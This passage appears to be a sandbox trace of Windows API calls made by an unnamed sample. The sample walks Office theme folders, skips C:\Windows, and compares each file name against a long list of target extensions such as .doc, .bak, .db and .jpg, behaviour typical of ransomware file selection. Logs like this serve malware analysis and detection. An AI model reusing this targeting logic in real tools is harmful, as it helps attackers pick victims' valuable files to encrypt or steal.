nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0080.148] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0080.148] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0080.148] FindClose (in: hFindFile=0x39742f0 | out: hFindFile=0x39742f0) returned 1 [0080.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0080.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned 55 [0080.149] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned 1 [0080.149] lstrlenW (lpString="THEMES14") returned 8 [0080.149] lstrcmpiW (lpString1="C:\\Windows", lpString2="THEMES14") returned -1 [0080.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0080.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned 55 [0080.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39742f0 [0081.540] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.542] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0081.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned 64 [0081.542] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned 1 [0081.543] lstrlenW (lpString="AFTRNOON") returned 8 [0081.543] lstrcmpiW (lpString1="C:\\Windows", lpString2="AFTRNOON") returned 1 [0081.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f2a088 [0081.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned 64 [0081.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39742b0 [0081.544] FindNextFileW (in: hFindFile=0x39742b0, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.544] FindNextFileW (in: hFindFile=0x39742b0, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0081.544] lstrlenW (lpString="AFTRNOON.ELM") returned 12 [0081.544] lstrlenW (lpString=".1cd") returned 4 [0081.544] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0081.544] lstrlenW (lpString=".3ds") returned 4 [0081.544] lstrcmpiW (lpString1=".3ds", lpString2=".ELM") returned -1 [0081.544] lstrlenW (lpString=".3fr") returned 4 [0081.544] lstrcmpiW (lpString1=".3fr", lpString2=".ELM") returned -1 [0081.545] lstrlenW (lpString=".3g2") returned 4 [0081.545] lstrcmpiW (lpString1=".3g2", lpString2=".ELM") returned -1 [0081.545] lstrlenW (lpString=".3gp") returned 4 [0081.545] lstrcmpiW (lpString1=".3gp", lpString2=".ELM") returned -1 [0081.545] lstrlenW (lpString=".7z") returned 3 [0081.545] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0081.545] lstrlenW (lpString=".accda") returned 6 [0081.545] lstrcmpiW (lpString1=".accda", lpString2="ON.ELM") returned -1 [0081.545] lstrlenW (lpString=".accdb") returned 6 [0081.545] lstrcmpiW (lpString1=".accdb", lpString2="ON.ELM") returned -1 [0081.545] lstrlenW (lpString=".accdc") returned 6 [0081.545] lstrcmpiW (lpString1=".accdc", lpString2="ON.ELM") returned -1 [0081.545] lstrlenW (lpString=".accde") returned 6 [0081.545] lstrcmpiW (lpString1=".accde", lpString2="ON.ELM") returned -1 [0081.545] lstrlenW (lpString=".accdt") returned 6 [0081.545] lstrcmpiW (lpString1=".accdt", lpString2="ON.ELM") returned -1 [0081.545] lstrlenW (lpString=".accdw") returned 6 [0081.545] lstrcmpiW (lpString1=".accdw", lpString2="ON.ELM") returned -1 [0081.545] lstrlenW (lpString=".adb") returned 4 [0081.545] lstrcmpiW (lpString1=".adb", lpString2=".ELM") returned -1 [0081.545] lstrlenW (lpString=".adp") returned 4 [0081.545] lstrcmpiW (lpString1=".adp", lpString2=".ELM") returned -1 [0081.545] lstrlenW (lpString=".ai") returned 3 [0081.545] lstrcmpiW (lpString1=".ai", lpString2="ELM") returned -1 [0081.546] lstrlenW (lpString=".ai3") returned 4 [0081.546] lstrcmpiW (lpString1=".ai3", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".ai4") returned 4 [0081.546] lstrcmpiW (lpString1=".ai4", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".ai5") returned 4 [0081.546] lstrcmpiW (lpString1=".ai5", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".ai6") returned 4 [0081.546] lstrcmpiW (lpString1=".ai6", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".ai7") returned 4 [0081.546] lstrcmpiW (lpString1=".ai7", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".ai8") returned 4 [0081.546] lstrcmpiW (lpString1=".ai8", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".anim") returned 5 [0081.546] lstrcmpiW (lpString1=".anim", lpString2="N.ELM") returned -1 [0081.546] lstrlenW (lpString=".arw") returned 4 [0081.546] lstrcmpiW (lpString1=".arw", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".as") returned 3 [0081.546] lstrcmpiW (lpString1=".as", lpString2="ELM") returned -1 [0081.546] lstrlenW (lpString=".asa") returned 4 [0081.546] lstrcmpiW (lpString1=".asa", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".asc") returned 4 [0081.546] lstrcmpiW (lpString1=".asc", lpString2=".ELM") returned -1 [0081.546] lstrlenW (lpString=".ascx") returned 5 [0081.546] lstrcmpiW (lpString1=".ascx", lpString2="N.ELM") returned -1 [0081.547] lstrlenW (lpString=".asm") returned 4 [0081.547] lstrcmpiW (lpString1=".asm", lpString2=".ELM") returned -1 [0081.547] lstrlenW (lpString=".asmx") returned 5 [0081.547] lstrcmpiW (lpString1=".asmx", lpString2="N.ELM") returned -1 [0081.547] lstrlenW (lpString=".asp") returned 4 [0081.547] lstrcmpiW (lpString1=".asp", lpString2=".ELM") returned -1 [0081.547] lstrlenW (lpString=".aspx") returned 5 [0081.547] lstrcmpiW (lpString1=".aspx", lpString2="N.ELM") returned -1 [0081.547] lstrlenW (lpString=".asr") returned 4 [0081.547] lstrcmpiW (lpString1=".asr", lpString2=".ELM") returned -1 [0081.547] lstrlenW (lpString=".asx") returned 4 [0081.547] lstrcmpiW (lpString1=".asx", lpString2=".ELM") returned -1 [0081.547] lstrlenW (lpString=".avi") returned 4 [0081.547] lstrcmpiW (lpString1=".avi", lpString2=".ELM") returned -1 [0081.547] lstrlenW (lpString=".avs") returned 4 [0081.547] lstrcmpiW (lpString1=".avs", lpString2=".ELM") returned -1 [0081.547] lstrlenW (lpString=".backup") returned 7 [0081.547] lstrcmpiW (lpString1=".backup", lpString2="OON.ELM") returned -1 [0081.547] lstrlenW (lpString=".bak") returned 4 [0081.547] lstrcmpiW (lpString1=".bak", lpString2=".ELM") returned -1 [0081.547] lstrlenW (lpString=".bay") returned 4 [0081.547] lstrcmpiW (lpString1=".bay", lpString2=".ELM") returned -1 [0081.547] lstrlenW (lpString=".bd") returned 3 [0081.547] lstrcmpiW (lpString1=".bd", lpString2="ELM") returned -1 [0081.547] lstrlenW (lpString=".bin") returned 4 [0081.547] lstrcmpiW (lpString1=".bin", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".bmp") returned 4 [0081.548] lstrcmpiW (lpString1=".bmp", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".bz2") returned 4 [0081.548] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".c") returned 2 [0081.548] lstrcmpiW (lpString1=".c", lpString2="LM") returned -1 [0081.548] lstrlenW (lpString=".cdr") returned 4 [0081.548] lstrcmpiW (lpString1=".cdr", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".cer") returned 4 [0081.548] lstrcmpiW (lpString1=".cer", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".cf") returned 3 [0081.548] lstrcmpiW (lpString1=".cf", lpString2="ELM") returned -1 [0081.548] lstrlenW (lpString=".cfc") returned 4 [0081.548] lstrcmpiW (lpString1=".cfc", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".cfm") returned 4 [0081.548] lstrcmpiW (lpString1=".cfm", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".cfml") returned 5 [0081.548] lstrcmpiW (lpString1=".cfml", lpString2="N.ELM") returned -1 [0081.548] lstrlenW (lpString=".cfu") returned 4 [0081.548] lstrcmpiW (lpString1=".cfu", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".chm") returned 4 [0081.548] lstrcmpiW (lpString1=".chm", lpString2=".ELM") returned -1 [0081.548] lstrlenW (lpString=".cin") returned 4 [0081.548] lstrcmpiW (lpString1=".cin", lpString2=".ELM") returned -1 [0081.549] lstrlenW (lpString=".class") returned 6 [0081.549] lstrcmpiW (lpString1=".class", lpString2="ON.ELM") returned -1 [0081.549] lstrlenW (lpString=".clx") returned 4 [0081.549] lstrcmpiW (lpString1=".clx", lpString2=".ELM") returned -1 [0081.549] lstrlenW (lpString=".config") returned 7 [0081.549] lstrcmpiW (lpString1=".config", lpString2="OON.ELM") returned -1 [0081.549] lstrlenW (lpString=".cpp") returned 4 [0081.549] lstrcmpiW (lpString1=".cpp", lpString2=".ELM") returned -1 [0081.549] lstrlenW (lpString=".cr2") returned 4 [0081.549] lstrcmpiW (lpString1=".cr2", lpString2=".ELM") returned -1 [0081.549] lstrlenW (lpString=".crt") returned 4 [0081.549] lstrcmpiW (lpString1=".crt", lpString2=".ELM") returned -1 [0081.549] lstrlenW (lpString=".crw") returned 4 [0081.549] lstrcmpiW (lpString1=".crw", lpString2=".ELM") returned -1 [0081.549] lstrlenW (lpString=".cs") returned 3 [0081.550] lstrcmpiW (lpString1=".cs", lpString2="ELM") returned -1 [0081.550] lstrlenW (lpString=".css") returned 4 [0081.550] lstrcmpiW (lpString1=".css", lpString2=".ELM") returned -1 [0081.550] lstrlenW (lpString=".csv") returned 4 [0081.550] lstrcmpiW (lpString1=".csv", lpString2=".ELM") returned -1 [0081.550] lstrlenW (lpString=".cub") returned 4 [0081.550] lstrcmpiW (lpString1=".cub", lpString2=".ELM") returned -1 [0081.550] lstrlenW (lpString=".dae") returned 4 [0081.550] lstrcmpiW (lpString1=".dae", lpString2=".ELM") returned -1 [0081.550] lstrlenW (lpString=".dat") returned 4 [0081.550] lstrcmpiW (lpString1=".dat", lpString2=".ELM") returned -1 [0081.550] lstrlenW (lpString=".db") returned 3 [0081.550] lstrcmpiW (lpString1=".db", lpString2="ELM") returned -1 [0081.550] lstrlenW (lpString=".dbf") returned 4 [0081.550] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0081.550] lstrlenW (lpString=".dbx") returned 4 [0081.550] lstrcmpiW (lpString1=".dbx", lpString2=".ELM") returned -1 [0081.550] lstrlenW (lpString=".dc3") returned 4 [0081.550] lstrcmpiW (lpString1=".dc3", lpString2=".ELM") returned -1 [0081.550] lstrlenW (lpString=".dcm") returned 4 [0081.550] lstrcmpiW (lpString1=".dcm", lpString2=".ELM") returned -1 [0081.551] lstrlenW (lpString=".dcr") returned 4 [0081.551] lstrcmpiW (lpString1=".dcr", lpString2=".ELM") returned -1 [0081.551] lstrlenW (lpString=".der") returned 4 [0081.551] lstrcmpiW (lpString1=".der", lpString2=".ELM") returned -1 [0081.551] lstrlenW (lpString=".dib") returned 4 [0081.551] lstrcmpiW (lpString1=".dib", lpString2=".ELM") returned -1 [0081.551] lstrlenW (lpString=".dic") returned 4 [0081.551] lstrcmpiW (lpString1=".dic", lpString2=".ELM") returned -1 [0081.551] lstrlenW (lpString=".dif") returned 4 [0081.551] lstrcmpiW (lpString1=".dif", lpString2=".ELM") returned -1 [0081.551] lstrlenW (lpString=".divx") returned 5 [0081.551] lstrcmpiW (lpString1=".divx", lpString2="N.ELM") returned -1 [0081.551] lstrlenW (lpString=".djvu") returned 5 [0081.551] lstrcmpiW (lpString1=".djvu", lpString2="N.ELM") returned -1 [0081.551] lstrlenW (lpString=".dng") returned 4 [0081.551] lstrcmpiW (lpString1=".dng", lpString2=".ELM") returned -1 [0081.551] lstrlenW (lpString=".doc") returned 4 [0081.551] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0081.551] lstrlenW (lpString=".docm") returned 5 [0081.552] lstrcmpiW (lpString1=".docm", lpString2="N.ELM") returned -1 [0081.552] lstrlenW (lpString=".docx") returned 5 [0081.552] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0081.552] lstrlenW (lpString=".dot") returned 4 [0081.552] lstrcmpiW (lpString1=".dot", lpString2=".ELM") returned -1 [0081.552] lstrlenW (lpString=".dotm") returned 5 [0081.552] lstrcmpiW (lpString1=".dotm", lpString2="N.ELM") returned -1 [0081.552] lstrlenW (lpString=".dotx") returned 5 [0081.552] lstrcmpiW (lpString1=".dotx", lpString2="N.ELM") returned -1 [0081.552] lstrlenW (lpString=".dpx") returned 4 [0081.552] lstrcmpiW (lpString1=".dpx", lpString2=".ELM") returned -1 [0081.552] lstrlenW (lpString=".dqy") returned 4 [0081.552] lstrcmpiW (lpString1=".dqy", lpString2=".ELM") returned -1 [0081.552] lstrlenW (lpString=".dsn") returned 4 [0081.552] lstrcmpiW (lpString1=".dsn", lpString2=".ELM") returned -1 [0081.552] lstrlenW (lpString=".dt") returned 3 [0081.552] lstrcmpiW (lpString1=".dt", lpString2="ELM") returned -1 [0081.552] lstrlenW (lpString=".dtd") returned 4 [0081.552] lstrcmpiW (lpString1=".dtd", lpString2=".ELM") returned -1 [0081.552] lstrlenW (lpString=".dwg") returned 4 [0081.552] lstrcmpiW (lpString1=".dwg", lpString2=".ELM") returned -1 [0081.552] lstrlenW (lpString=".dwt") returned 4 [0081.553] lstrcmpiW (lpString1=".dwt", lpString2=".ELM") returned -1 [0081.553] lstrlenW (lpString=".dx") returned 3 [0081.553] lstrcmpiW (lpString1=".dx", lpString2="ELM") returned -1 [0081.553] lstrlenW (lpString=".dxf") returned 4 [0081.553] lstrcmpiW (lpString1=".dxf", lpString2=".ELM") returned -1 [0081.553] lstrlenW (lpString=".edml") returned 5 [0081.553] lstrcmpiW (lpString1=".edml", lpString2="N.ELM") returned -1 [0081.553] lstrlenW (lpString=".efd") returned 4 [0081.553] lstrcmpiW (lpString1=".efd", lpString2=".ELM") returned -1 [0081.553] lstrlenW (lpString=".elf") returned 4 [0081.553] lstrcmpiW (lpString1=".elf", lpString2=".ELM") returned -1 [0081.553] lstrlenW (lpString=".emf") returned 4 [0081.553] lstrcmpiW (lpString1=".emf", lpString2=".ELM") returned 1 [0081.553] lstrlenW (lpString=".emz") returned 4 [0081.554] lstrcmpiW (lpString1=".emz", lpString2=".ELM") returned 1 [0081.554] lstrlenW (lpString=".epf") returned 4 [0081.554] lstrcmpiW (lpString1=".epf", lpString2=".ELM") returned 1 [0081.554] lstrlenW (lpString=".eps") returned 4 [0081.554] lstrcmpiW (lpString1=".eps", lpString2=".ELM") returned 1 [0081.554] lstrlenW (lpString=".epsf") returned 5 [0081.554] lstrcmpiW (lpString1=".epsf", lpString2="N.ELM") returned -1 [0081.554] lstrlenW (lpString=".epsp") returned 5 [0081.554] lstrcmpiW (lpString1=".epsp", lpString2="N.ELM") returned -1 [0081.554] lstrlenW (lpString=".erf") returned 4 [0081.554] lstrcmpiW (lpString1=".erf", lpString2=".ELM") returned 1 [0081.555] lstrlenW (lpString=".exr") returned 4 [0081.555] lstrcmpiW (lpString1=".exr", lpString2=".ELM") returned 1 [0081.555] lstrlenW (lpString=".f4v") returned 4 [0081.555] lstrcmpiW (lpString1=".f4v", lpString2=".ELM") returned 1 [0081.555] lstrlenW (lpString=".fido") returned 5 [0081.555] lstrcmpiW (lpString1=".fido", lpString2="N.ELM") returned -1 [0081.555] lstrlenW (lpString=".flm") returned 4 [0081.555] lstrcmpiW (lpString1=".flm", lpString2=".ELM") returned 1 [0081.555] lstrlenW (lpString=".flv") returned 4 [0081.555] lstrcmpiW (lpString1=".flv", lpString2=".ELM") returned 1 [0081.555] lstrlenW (lpString=".frm") returned 4 [0081.555] lstrcmpiW (lpString1=".frm", lpString2=".ELM") returned 1 [0081.555] lstrlenW (lpString=".fxg") returned 4 [0081.556] lstrcmpiW (lpString1=".fxg", lpString2=".ELM") returned 1 [0081.556] lstrlenW (lpString=".geo") returned 4 [0081.556] lstrcmpiW (lpString1=".geo", lpString2=".ELM") returned 1 [0081.556] lstrlenW (lpString=".gif") returned 4 [0081.556] lstrcmpiW (lpString1=".gif", lpString2=".ELM") returned 1 [0081.556] lstrlenW (lpString=".grs") returned 4 [0081.556] lstrcmpiW (lpString1=".grs", lpString2=".ELM") returned 1 [0081.556] lstrlenW (lpString=".gz") returned 3 [0081.556] lstrcmpiW (lpString1=".gz", lpString2="ELM") returned -1 [0081.556] lstrlenW (lpString=".h") returned 2 [0081.556] lstrcmpiW (lpString1=".h", lpString2="LM") returned -1 [0081.556] lstrlenW (lpString=".hdr") returned 4 [0081.556] lstrcmpiW (lpString1=".hdr", lpString2=".ELM") returned 1 [0081.556] lstrlenW (lpString=".hpp") returned 4 [0081.556] lstrcmpiW (lpString1=".hpp", lpString2=".ELM") returned 1 [0081.556] lstrlenW (lpString=".hta") returned 4 [0081.556] lstrcmpiW (lpString1=".hta", lpString2=".ELM") returned 1 [0081.556] lstrlenW (lpString=".htc") returned 4 [0081.557] lstrcmpiW (lpString1=".htc", lpString2=".ELM") returned 1 [0081.557] lstrlenW (lpString=".htm") returned 4 [0081.557] lstrcmpiW (lpString1=".htm", lpString2=".ELM") returned 1 [0081.557] lstrlenW (lpString=".html") returned 5 [0081.557] lstrcmpiW (lpString1=".html", lpString2="N.ELM") returned -1 [0081.557] lstrlenW (lpString=".icb") returned 4 [0081.557] lstrcmpiW (lpString1=".icb", lpString2=".ELM") returned 1 [0081.557] lstrlenW (lpString=".ics") returned 4 [0081.557] lstrcmpiW (lpString1=".ics", lpString2=".ELM") returned 1 [0081.557] lstrlenW (lpString=".iff") returned 4 [0081.557] lstrcmpiW (lpString1=".iff", lpString2=".ELM") returned 1 [0081.557] lstrlenW (lpString=".inc") returned 4 [0081.558] lstrcmpiW (lpString1=".inc", lpString2=".ELM") returned 1 [0081.558] lstrlenW (lpString=".indd") returned 5 [0081.558] lstrcmpiW (lpString1=".indd", lpString2="N.ELM") returned -1 [0081.558] lstrlenW (lpString=".ini") returned 4 [0081.558] lstrcmpiW (lpString1=".ini", lpString2=".ELM") returned 1 [0081.558] lstrlenW (lpString=".iqy") returned 4 [0081.558] lstrcmpiW (lpString1=".iqy", lpString2=".ELM") returned 1 [0081.558] lstrlenW (lpString=".j2c") returned 4 [0081.558] lstrcmpiW (lpString1=".j2c", lpString2=".ELM") returned 1 [0081.558] lstrlenW (lpString=".j2k") returned 4 [0081.558] lstrcmpiW (lpString1=".j2k", lpString2=".ELM") returned 1 [0081.558] lstrlenW (lpString=".java") returned 5 [0081.558] lstrcmpiW (lpString1=".java", lpString2="N.ELM") returned -1 [0081.558] lstrlenW (lpString=".jp2") returned 4 [0081.558] lstrcmpiW (lpString1=".jp2", lpString2=".ELM") returned 1 [0081.558] lstrlenW (lpString=".jpc") returned 4 [0081.558] lstrcmpiW (lpString1=".jpc", lpString2=".ELM") returned 1 [0081.558] lstrlenW (lpString=".jpe") returned 4 [0081.558] lstrcmpiW (lpString1=".jpe", lpString2=".ELM") returned 1 [0081.558] lstrlenW (lpString=".jpeg") returned 5 [0081.559] lstrcmpiW (lpString1=".jpeg", lpString2="N.ELM") returned -1 [0081.559] lstrlenW (lpString=".jpf") returned 4 [0081.559] lstrcmpiW (lpString1=".jpf", lpString2=".ELM") returned 1 [0081.559] lstrlenW (lpString=".jpg") returned 4 [0081.559] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0081.559] lstrlenW (lpString=".jpx") returned 4 [0081.559] lstrcmpiW (lpString1=".jpx", lpString2=".ELM") returned 1 [0081.559] lstrlenW (lpString=".js") returned 3 [0081.559] lstrcmpiW (lpString1=".js", lpString2="ELM") returned -1 [0081.559] lstrlenW (lpString=".jsf") returned 4 [0081.559] lstrcmpiW (lpString1=".jsf", lpString2=".ELM") returned 1 [0081.559] lstrlenW (lpString=".json") returned 5 [0081.559] lstrcmpiW (lpString1=".json", lpString2="N.ELM") returned -1 [0081.559] lstrlenW (lpString=".jsp") returned 4 [0081.560] lstrcmpiW (lpString1=".jsp", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".kdc") returned 4 [0081.560] lstrcmpiW (lpString1=".kdc", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".kmz") returned 4 [0081.560] lstrcmpiW (lpString1=".kmz", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".kwm") returned 4 [0081.560] lstrcmpiW (lpString1=".kwm", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".lasso") returned 6 [0081.560] lstrcmpiW (lpString1=".lasso", lpString2="ON.ELM") returned -1 [0081.560] lstrlenW (lpString=".lbi") returned 4 [0081.560] lstrcmpiW (lpString1=".lbi", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".lgf") returned 4 [0081.560] lstrcmpiW (lpString1=".lgf", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".lgp") returned 4 [0081.560] lstrcmpiW (lpString1=".lgp", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".log") returned 4 [0081.560] lstrcmpiW (lpString1=".log", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".m1v") returned 4 [0081.560] lstrcmpiW (lpString1=".m1v", lpString2=".ELM") returned 1 [0081.560] lstrlenW (lpString=".m4a") returned 4 [0081.560] lstrcmpiW (lpString1=".m4a", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".m4v") returned 4 [0081.561] lstrcmpiW (lpString1=".m4v", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".max") returned 4 [0081.561] lstrcmpiW (lpString1=".max", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".md") returned 3 [0081.561] lstrcmpiW (lpString1=".md", lpString2="ELM") returned -1 [0081.561] lstrlenW (lpString=".mda") returned 4 [0081.561] lstrcmpiW (lpString1=".mda", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mdb") returned 4 [0081.561] lstrcmpiW (lpString1=".mdb", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mde") returned 4 [0081.561] lstrcmpiW (lpString1=".mde", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mdf") returned 4 [0081.561] lstrcmpiW (lpString1=".mdf", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mdw") returned 4 [0081.561] lstrcmpiW (lpString1=".mdw", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mef") returned 4 [0081.561] lstrcmpiW (lpString1=".mef", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mft") returned 4 [0081.561] lstrcmpiW (lpString1=".mft", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mfw") returned 4 [0081.561] lstrcmpiW (lpString1=".mfw", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mht") returned 4 [0081.561] lstrcmpiW (lpString1=".mht", lpString2=".ELM") returned 1 [0081.561] lstrlenW (lpString=".mhtml") returned 6 [0081.561] lstrcmpiW (lpString1=".mhtml", lpString2="ON.ELM") returned -1 [0081.562] lstrlenW (lpString=".mka") returned 4 [0081.562] lstrcmpiW (lpString1=".mka", lpString2=".ELM") returned 1 [0081.562] lstrlenW (lpString=".mkidx") returned 6 [0081.562] lstrcmpiW (lpString1=".mkidx", lpString2="ON.ELM") returned -1 [0081.562] lstrlenW (lpString=".mkv") returned 4 [0081.562] lstrcmpiW (lpString1=".mkv", lpString2=".ELM") returned 1 [0081.562] lstrlenW (lpString=".mos") returned 4 [0081.562] lstrcmpiW (lpString1=".mos", lpString2=".ELM") returned 1 [0081.562] lstrlenW (lpString=".mov") returned 4 [0081.562] lstrcmpiW (lpString1=".mov", lpString2=".ELM") returned 1 [0081.562] lstrlenW (lpString=".mp3") returned 4 [0081.562] lstrcmpiW 